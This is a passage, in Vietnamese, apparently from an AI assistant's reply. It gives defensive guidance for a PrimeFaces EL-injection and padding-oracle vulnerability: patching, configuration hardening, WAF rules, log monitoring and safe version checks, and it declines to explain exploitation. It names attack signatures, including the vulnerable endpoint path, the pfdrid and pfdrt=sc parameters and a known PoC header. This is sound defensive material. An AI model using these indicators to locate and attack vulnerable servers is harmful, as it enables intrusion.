* Padding oracle attack cho phép kẻ tấn công phá vỡ cơ chế mã hoá nếu server trả lỗi khác biệt cho padding sai.
---
## 5) Phòng ngừa & cách vá (cho người bảo mật / admin)
Nếu hệ thống có thể gặp nguy cơ, đây là các bước khuyến nghị:
1. **Cập nhật / vá ngay**
* Nâng PrimeFaces lên phiên bản không còn lỗ hổng (tham khảo release notes chính thức). Các bản cũ như 5.x / 6.0 đã từng bị ảnh hưởng — cập nhật lên bản đã fix là ưu tiên số 1.
2. **Vô hiệu hoá dynamic content EL execution**
* Kiểm soát/lọc bất kỳ đầu vào nào đi vào cơ chế dynamic content. Hạn chế việc server giải mã và *chạy* EL từ dữ liệu có thể do user điều khiển.
3. **Thay mật khẩu mặc định / cấu hình mật khẩu mạnh**
* Nếu PrimeFaces dùng config chứa mật khẩu mặc định (`primefaces`), phải đổi mật khẩu hoặc disable cơ chế nếu không cần.
4. **Không dùng client-side ViewState hoặc disable chức năng giải mã không cần thiết**
* Thiết lập `javax.faces.STATE_SAVING_METHOD=server` và các setting liên quan; hạn chế các chức năng cho phép thực thi EL từ request.
5. **WAF / rule mạng**
* Tạo luật WAF chặn request tới `/javax.faces.resource/dynamiccontent.properties.xhtml` chứa `pfdrt=sc` / `pfdrid` hoặc chặn các POST lạ tới resource này; cảnh báo khi xuất hiện chuỗi `pfdrid` base64 dài.
6. **Giám sát & phát hiện**
* Log và cảnh báo các POST tới endpoint nêu trên, các HTTP 500 bất thường liên tiếp, hay header POC kiểu `TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC`.
* Quét logs để tìm các request có tham số `pfdrid` hoặc các POST lạ với `pfdrt=sc`.
7. **Cài patch/kiểm tra thư viện**
* Kiểm tra version PrimeFaces, Mojarra/MyFaces, và các patch bảo mật liên quan.
8. **Hardening**
* Giới hạn truy cập nội bộ tới tài nguyên quản trị; vừa authentication và IP-restriction cho resource nhạy cảm.
---
## 6) Cách phát hiện an toàn (không tấn công)
* **Kiểm tra version**: xác định version PrimeFaces bằng cách kiểm tra dependency trên ứng dụng hoặc file JAR `META-INF/MANIFEST.MF`.
* **Tìm dấu hiệu trong mã nguồn**: search trong mã/war/ear xem có `dynamiccontent.properties.xhtml` hay tham chiếu tới `PrimeFacesResourceHandler`...
* **Kiểm tra logs**: tìm POST tới đường dẫn `/javax.faces.resource/dynamiccontent.properties.xhtml` hoặc các tham số `pfdrid`, `pfdrt=sc`.
* **Dùng scanner an toàn**: chạy tool kiểm thử bảo mật (ZAP/Burp) trong môi trường lab, không trên production trực tiếp — sử dụng chỉ các test non-destructive (ví dụ check response headers, content) thay vì payloads thực thi.
---
## 7) Lưu ý an toàn / chính sách
* Mình **không thể** hướng dẫn cách chạy exploit này trên hệ thống không thuộc quyền của Cường. Việc chạy exploit lên hệ thống thật có thể là hành vi xâm phạm.
* Nếu Cường muốn kiểm tra hệ thống, chỉ làm **trong môi trường lab** hoặc với explicit permission. Mình có thể giúp soạn checklist kiểm tra và rule WAF, hoặc snippet để sanitize / harden ứng dụng.
---
## 8) Mình có thể giúp gì tiếp theo?
Một số điều mình có làm được (an toàn / hợp pháp):
* Hướng dẫn **cách kiểm tra version PrimeFaces trên server** (file JAR, response headers, manifest) — non-destructive.
* Soạn **quy tắc WAF (ngăn pfdrid/pfdrt)** mẫu cho ModSecurity.
* Viết đoạn **code server-side** để sanitize/disable khả năng evaluate EL động, hoặc gợi ý cấu hình `web.xml`/faces-config để giảm rủi ro.
* Soạn **kịch bản phát hiện** (log search queries) để tìm dấu vết tấn công.
Muốn mình làm phần nào? (ví dụ: "viết rule ModSecurity chặn pfdrid", hoặc "hướng dẫn cách tìm version primefaces trong war file", hoặc "mã Java để sanitize response từ terminal/editor")